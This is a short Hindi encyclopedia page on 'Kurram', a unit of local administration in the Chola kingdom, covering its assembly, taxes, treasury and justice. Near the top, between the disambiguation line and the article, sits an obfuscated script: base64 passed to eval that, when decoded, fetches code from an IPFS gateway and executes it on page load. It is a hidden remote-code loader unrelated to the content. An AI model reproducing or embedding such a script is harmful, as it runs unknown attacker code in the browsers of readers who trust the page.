कुर्रम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Disamb2.jpg कुर्रम एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- कुर्रम (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कुर्रम अथवा 'कोट्टम' चोल राज्य में प्रशासन की एक इकाई हुआ करती थी। इसके अन्तर्गत गांवों का एक समूह होता था, जिसका स्थानीय प्रशासन महासभा की सहायता से चलाया जाता था। कुर्रम अपनी समितियाँ स्वयं नियुक्त करती थी, जिसके द्वारा वह अपने क्षेत्र के जलाशयों और उद्यानों की देखभाल करती थी।

  • महासभा का वार्षिक चुनाव सम्पन्न कराने के लिए विस्तृत नियम थे।
  • कुर्रम को राजा के अधीन स्थानीय स्वशासन के विस्तृत अधिकार प्राप्त थे।
  • चोल साम्राज्य में कुर्रम की ओर से स्थानीय कर भी लगाये जाते थे।
  • प्राय: कुर्रम का अपना एक स्थानीय ख़ज़ाना भी होता था।
  • अपने क्षेत्र की भूमि पर उसका पूरा नियंत्रण रहता था।
  • कुर्रम अपने क्षेत्र में शान्ति और न्याय की भी व्यवस्था करती थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 97 |


संबंधित लेख